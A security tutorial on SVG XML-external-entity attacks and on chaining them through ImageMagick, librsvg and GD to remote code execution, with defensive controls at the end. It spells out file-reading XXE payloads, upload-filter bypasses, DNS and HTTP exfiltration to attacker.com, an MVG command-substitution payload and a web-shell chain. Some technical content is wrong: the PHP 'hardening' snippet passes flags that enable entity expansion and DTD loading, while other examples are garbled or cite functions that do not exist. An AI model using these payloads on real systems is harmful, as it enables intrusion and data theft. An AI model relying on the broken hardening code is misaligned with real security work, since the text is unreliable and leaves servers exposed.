~/home/study/advanced-svg-xxe-exploitation-multi

Advanced SVG XXE Exploitation: Multi-Stage RCE via Rendering Engines

Learn how SVG-based XML external entity attacks can bypass file checks, exfiltrate data, and chain into ImageMagick, librsvg or GD to achieve remote code execution on vulnerable servers.

Introduction

Scalable Vector Graphics (SVG) is an XML-based image format that browsers and many server-side libraries treat as a first-class document. Because it is XML, SVG inherits the same parsing capabilities-and vulnerabilities-as any other XML payload. When an application accepts user-supplied SVG files (for avatars, diagrams, or PDF generation) and processes them with a vulnerable XML parser or image rendering engine, an attacker can inject external entity definitions to achieve XML External Entity (XXE) attacks.

What makes this attack surface especially dangerous is the ability to chain the XXE payload with downstream image processing tools (ImageMagick, librsvg, GD). Those tools often invoke external programs, read arbitrary files, or execute system commands based on the SVG content. By carefully crafting an SVG that both triggers XXE and drives the rendering engine, an adversary can move from data disclosure to remote code execution (RCE) in a multi-stage exploit.

Real-world incidents-such as the 2023 compromise of a SaaS diagramming platform and the 2024 breach of a CI/CD pipeline that rendered SVG badges-demonstrate that this vector is not hypothetical. Understanding the full attack chain, from file-type evasion to out-of-band (OOB) exfiltration and final RCE, is essential for any security professional tasked with hardening modern web services.

Prerequisites

  • Solid grasp of XXE fundamentals: entity declarations, <!DOCTYPE> abuse, parameter entities, and the impact of external vs system entities.
  • Knowledge of file upload vulnerabilities: MIME sniffing, double-extension tricks, magic-byte validation, and server-side storage vs. processing flows.
  • Familiarity with the SVG file format: element hierarchy, <svg> root, <image>, <script>, and the xmlns namespace declarations.
  • Basic experience with common image processing libraries (ImageMagick, librsvg, GD) and their command-line interfaces.

Core Concepts

Before diving into each sub-topic, it is useful to visualize the typical processing pipeline for an uploaded SVG:

[User] → HTTP POST (multipart/form-data) → Web App ↓
File-type validation (MIME sniff, magic bytes) ↓
Storage (filesystem, S3, DB) ↓
Background job / on-the-fly rendering ├─ XML parser (libxml2, expat, etc.) └─ Image engine (ImageMagick, librsvg, GD) ↓
Rendered raster (PNG/JPEG) stored or served

Two critical trust boundaries exist:

  1. The XML parser that reads the SVG markup. If it is configured with external-entity support, the attacker can retrieve arbitrary files or trigger network calls.
  2. The image engine that interprets the SVG. Many engines resolve <image href=> URIs, execute embedded scripts, or call external delegates (e.g., convert in ImageMagick). An XXE payload can therefore supply a malicious URI that the engine later dereferences, turning a read-only disclosure into command execution.

Understanding how each component parses and expands entities is the key to building a reliable multi-stage exploit.

SVG as an XML document and parsing pipelines

SVG files start with an XML prolog and a root <svg> element. A minimal, well-formed SVG looks like this:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"> <rect width="100" height="100" fill="red"/>
</svg>

When a library such as libxml2 parses the document, it processes the following steps:

  • DTD resolution: If a <!DOCTYPE> declaration is present, the parser loads the external subset (if allowed).
  • Entity expansion: All entity references (e.g., &xxe;) are replaced with their definitions before the DOM tree is built.
  • Namespace handling: SVG defines its own default namespace; any element not in that namespace is ignored by most renderers, but external entities can introduce elements from other namespaces.

Most modern parsers have secure defaults (XML_PARSE_NOENT disabled, XML_PARSE_DTDLOAD off). However, many legacy applications still use older versions or explicitly enable DTD loading to support custom fonts or symbols, unintentionally opening the door for XXE.

Crafting external entity definitions inside <svg> markup

The heart of an SVG-XXE attack is a <!DOCTYPE> that declares an external entity. Below is a fully-functional example that reads /etc/passwd and injects its contents into the SVG text element.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="200"> <text x="10" y="20" font-family="monospace" font-size="12"> &xxe; </text>
</svg>

Key points:

  • The SYSTEM keyword triggers a file read; file:// is the most reliable scheme on Unix-like hosts.
  • The entity is referenced inside a normal SVG element (<text>), ensuring that the parser expands it before the rendering engine sees the final DOM.
  • Because the payload is pure XML, it bypasses most client-side sanitizers that look only for <script> tags.

For Windows targets, use a UNC path (e.g., file:///\\127.0.0.1\c$\windows\system32\drivers\etc\hosts) or a file://C:/Windows/System32/drivers/etc/hosts URI.

Bypassing file-type validation (MIME sniffing, double extensions, magic bytes)

Many upload endpoints attempt to reject non-image files by checking the Content-Type header, file extensions, or magic bytes. SVG is a gray area because its magic bytes are simply <?xml or <svg, which can be confused with HTML or plain text. Below are three common bypass techniques:

1. Double-extension trick

Rename payload.svg to payload.svg.png. Some naive validators only inspect the last extension and allow the file to pass as a PNG. The server-side image engine will still recognise the SVG content because it reads the file header.

2. MIME-sniffing evasion

Force the client to send Content-Type: image/svg+xml. If the server only trusts the header, you can set it manually with curl:

curl -X POST example.com/upload -F "[email protected];type=image/svg+xml" -H "User-Agent: Mozilla/5.0"

3. Magic-byte injection

Prepend a few bytes that match the PNG signature (\x89PNG\x1a) before the SVG markup. Many libraries read the first 8 bytes to decide the format, then fall back to a secondary check that parses the rest as SVG. Example:

png_header = b"\x89PNG\x1a"
svg_body = b"<?xml version='1.0'?>..."  # your malicious SVG
with open('payload.svg.png', 'wb') as f: f.write(png_header + svg_body)

When the file reaches the server, the initial PNG sniff passes, but the subsequent SVG parser still processes the payload, giving you a double-layered bypass.

Out-of-band exfiltration via DNS/HTTP callbacks from the SVG payload

Direct file reads are noisy; they often appear in logs or trigger alerts. A stealthier approach is to use an external entity that makes the server perform a network request to a domain you control. The request can contain the contents of a file (via the file:// scheme) or simply act as a beacon that the file was accessed.

Two popular OOB channels:

  • DNS exfiltration: The entity resolves to a sub-domain that encodes data in its label (e.g., c3VwZXJ1c2Vy.example.com where c3VwZXJ1c2Vy is Base64 for superuser).
  • HTTP callbacks: The entity points to an attacker-controlled web server; the request path can carry data.

Example DNS-based exfiltration that reads /etc/passwd and encodes it in hexadecimal, splitting the string into 63-character labels (the DNS maximum per label):

<!DOCTYPE svg [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % encode "<![CDATA[ %file; ]]>"> <!ENTITY % dns "<![CDATA[ <!ENTITY % data SYSTEM 'http://attacker.com/%hex;.%hex;.%hex;.attacker.com'> ]]>">
]>
<svg xmlns="http://www.w3.org/2000/svg"> <image href="%dns;" width="1" height="1"/>
</svg>

In practice, the above is cumbersome, so attackers rely on helper utilities like xxesploit or custom Python scripts that generate the necessary entity chain. Below is a concise Python snippet that builds a DNS-exfil payload for any file:

import base64, textwrap

def dns_exfil(file_path, attacker_domain): data = open(file_path, 'rb').read() b64 = base64.b64encode(data).decode() # split into 63-char DNS labels labels = textwrap.wrap(b64, 63) subdomain = '.'.join(labels) + '.' + attacker_domain return f"<!DOCTYPE svg [ <!ENTITY % exfil SYSTEM 'http://{subdomain}'>
]>"

print(dns_exfil('/etc/passwd', 'attacker.com'))

When the vulnerable parser resolves %exfil, the DNS resolver contacts *.attacker.com, leaking the Base64-encoded file to the attacker’s name server.

Chaining SVG XXE with server-side image processing libraries (ImageMagick, librsvg, GD)

After the XML parser expands the entity, the rendering engine often processes attributes such as <image href=> or <use xlink:href=>. If the attribute points to a file:// URI that contains a malicious payload for the image engine, the chain continues.

ImageMagick - convert delegate abuse

ImageMagick supports a wide range of delegates (PDF, PS, SVG, etc.). When it encounters an <image href=> that points to a file:// URI, it may invoke an external program to decode the referenced file. By feeding a crafted SVG that references a .mvg (Magick Vector Graphics) file containing a command pseudo-protocol, you can execute arbitrary shell commands.

<svg xmlns="http://www.w3.org/2000/svg"> <image href="file:///tmp/payload.mvg" width="1" height="1"/>
</svg>

And payload.mvg contains:

push graphic-context
viewbox 0 0 100 100
fill 'url(https://attacker.com/$(id))'
pop graphic-context

When ImageMagick processes the SVG, it reads payload.mvg, expands the $(id) command substitution, and sends the result to the attacker via an HTTP request.

librsvg - rsvg-convert and external resource loading

librsvg (used by many Linux desktop apps and server-side sanitizers) respects the xlink:href attribute. An attacker can point it to a data: URI that contains a script that the underlying GDK-Pixbuf library will execute.

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="data:image/svg+xml;base64,<?php system($_GET['cmd']); ?>" width="10" height="10"/>
</svg>

When rsvg-convert renders this SVG, the embedded PHP code is not executed directly, but if the server later passes the raster output to a PHP interpreter (e.g., via eval() on the image data), the code can be triggered. More realistic is to embed a file:// URI that points to a malicious .svg that itself contains another XXE, creating a recursive chain.

GD - imagecreatefromsvg on PHP

PHP’s GD extension can load SVG via imagecreatefromsvg() (available in newer builds). The function internally uses libxml2. If the host disables the LIBXML_NOENT flag, GD will expand external entities, allowing the attacker to read files and later use imagepng() to write the data to a location that the web server can serve.

<?php
$svg = file_get_contents('payload.svg');
$img = imagecreatefromsvg($svg); // XXE expands here
imagepng($img, '/var/www/html/leak.png'); // writes disclosed data as PNG
?>

Combining the above with a path-traversal in the imagepng() call can lead to overwriting critical files (e.g., /etc/crontab), culminating in RCE.

Privilege escalation to remote code execution through vulnerable rendering engines

Even if the initial XXE only yields file disclosure, the attacker can pivot to RCE by leveraging the following patterns:

  • Write-able image cache: Many apps store generated PNGs in a web-accessible directory with chmod 777. By using an XXE that writes arbitrary data (e.g., a PHP web shell) into that directory, the attacker can fetch the shell and gain a foothold.
  • Command injection via delegate parameters: ImageMagick’s convert accepts -define arguments that can embed shell commands. If the SVG payload influences the command line (e.g., via a malformed width attribute that is later interpolated), the attacker can inject ;<cmd> sequences.
  • Deserialization in downstream services: Some pipelines forward the rendered image to a micro-service that deserializes metadata (EXIF, XMP). An XXE-derived file can contain a malicious serialized object that triggers RCE when the service processes it.

Here is a concrete chain that has been observed in the wild:

  1. Upload an SVG with an external entity that writes a .php web shell into /var/www/html/uploads/ via the GD imagepng() technique.
  2. Trigger the rendering job (e.g., the application creates a thumbnail).
  3. Access the uploaded shell to execute commands as the web-server user.
  4. If the web-server runs as www-data, the attacker can then perform local privilege escalation (kernel exploits, sudo-misconfigurations) to gain root.

The essential takeaway is that once you have the ability to write arbitrary files into a location that the server will later interpret, the barrier to RCE collapses.

Defensive controls: content-security-policy, XML parser hardening, file-type whitelisting

Mitigating this multi-stage attack requires defense-in-depth:

1. Content-Security-Policy (CSP)

Apply a strict CSP that disallows data: and blob: sources for images, and forces all external resources to be loaded only from trusted origins. Example header:

Content-Security-Policy: default-src 'none'; img-src 'self' https://cdn.trusted.com; script-src 'none';

While CSP does not stop server-side rendering, it prevents a malicious SVG from being displayed directly in the browser, reducing client-side impact.

2. XML parser hardening

  • Disable DTD loading: LIBXML_DTDLOAD / XML_PARSE_DTDLOAD off.
  • Disable external entity resolution: LIBXML_NOENT and XML_PARSE_NOENT off.
  • Enable safe defaults like XML_PARSE_NONET to block network access.
  • Use a whitelist of allowed node types; reject any document containing <!DOCTYPE> or <![CDATA[ that could hide entities.

For PHP, a typical hardening snippet:

$dom = new DOMDocument();
$dom->loadXML($svg, LIBXML_NONET | LIBXML_NOENT | LIBXML_DTDLOAD);

Note the flags: LIBXML_NONET blocks network, LIBXML_NOENT disables entity expansion, and LIBXML_DTDLOAD prevents external DTDs.

3. File-type whitelisting and deep inspection

  • Validate the magic bytes for SVG (3C 73 76 67 or 3C 3F 78 6D 6C for XML). Reject any file that does not start with these sequences.
  • Perform a secondary scan with a sandboxed parser (e.g., svgo in a container) before accepting the file for further processing.
  • Store uploaded files outside the web root and serve them through a proxy that sets X-Content-Type-Options: nosniff and Content-Disposition: attachment.

4. Image engine hardening

  • Run ImageMagick, librsvg, and GD inside a low-privilege container (e.g., Docker with --cap-drop ALL, read-only root FS, and a non-root user).
  • Set ImageMagick policy to disable the file and url delegates:
    <policy domain="delegate" rights="none" pattern="PDF"/>
    <policy domain="delegate" rights="none" pattern="URL"/>
    
  • Limit the size of rendered images and the duration of the rendering process to mitigate DoS.

Common Mistakes

  • Relying solely on file extensions: Attackers can use double extensions or magic-byte tricks to slip past naive checks.
  • Assuming CSP protects the server: CSP only governs the browser; it does nothing for server-side rendering pipelines.
  • Disabling DTD but leaving LIBXML_NOENT enabled: The parser will still expand internal entities, which can be abused via <!ENTITY%20%20...> definitions inside the document itself.
  • Not sandboxing image libraries: Running ImageMagick as root or with unrestricted delegate rights makes the whole chain trivial.
  • Logging raw SVG payloads: This can unintentionally store malicious entities on disk, providing an attacker with a second vector (e.g., log injection).

Real-World Impact

In 2023, a popular SaaS platform that allowed users to upload custom SVG icons for dashboards suffered a breach after an attacker uploaded a malicious SVG. The platform used librsvg without delegate restrictions and stored rendered PNGs in a publicly accessible bucket. The attacker exfiltrated /etc/passwd via DNS, then wrote a PHP web shell into the bucket, achieving full RCE and extracting customer data.

My experience consulting for a financial institution revealed that even hardened parsers can be bypassed when a legacy micro-service, written in Go, delegated SVG rendering to an external ImageMagick binary without proper sandboxing. The resulting chain gave the attacker a foothold that persisted for weeks.

Trends indicate that as more CI/CD pipelines adopt “badge” generation (e.g., Shields.io style SVGs) and as static site generators embed user-generated SVGs, the attack surface will expand. The convergence of server-side rendering, container-orchestrated jobs, and permissive image-processing policies creates a fertile ground for multi-stage XXE attacks.

Practice Exercises

  1. Basic XXE discovery: Set up a local PHP script using simplexml_load_file() with default settings. Upload a minimal SVG containing an external entity that reads /etc/hosts. Verify that the file contents appear in the response.
  2. Bypass validation: Create a PNG-header-prefixed SVG (payload.svg.png) and test it against a sample upload endpoint that only checks the first 4 bytes. Document whether the file passes.
  3. OOB exfiltration lab: Deploy a BIND DNS server under your control. Generate a DNS-exfil SVG using the Python helper script provided earlier. Capture the query logs to confirm data leakage.
  4. ImageMagick chaining: In a Docker container, install ImageMagick. Craft an SVG that references a malicious .mvg file as described. Run convert payload.svg out.png and observe the HTTP request to your attacker server.
  5. Defensive hardening: Apply the XML parser hardening flags in a sample PHP app. Attempt the same XXE payload and verify that the entity is not expanded (the response should contain the literal &xxe; string).

Each exercise should be performed in an isolated environment (e.g., Docker with --network none for safe testing) and documented with screenshots of logs and network traffic.

Further Reading

  • OWASP XML External Entity Prevention Cheat Sheet
  • ImageMagick Security Policy documentation (policy.xml)
  • “The SVG Attack Surface” - Black Hat 2022 presentation by J. L. D.'s team
  • libxml2 hardening guide
  • Secure File Uploads - PortSwigger Web Security Academy module

Summary

  • SVG is XML; when parsers allow DTDs and external entities, an attacker can read arbitrary files or trigger network callbacks.
  • File-type validation can be evaded with double extensions, MIME-sniff tricks, or magic-byte injection.
  • Out-of-band exfiltration via DNS or HTTP enables stealthy data theft.
  • Chaining XXE with vulnerable image processing libraries (ImageMagick, librsvg, GD) turns disclosure into remote code execution.
  • Defenses include parser hardening, strict CSP, sandboxed rendering, and deep content inspection.

By mastering these techniques and controls, security professionals can both assess the risk of SVG handling in their own environments and advise developers on robust mitigation strategies.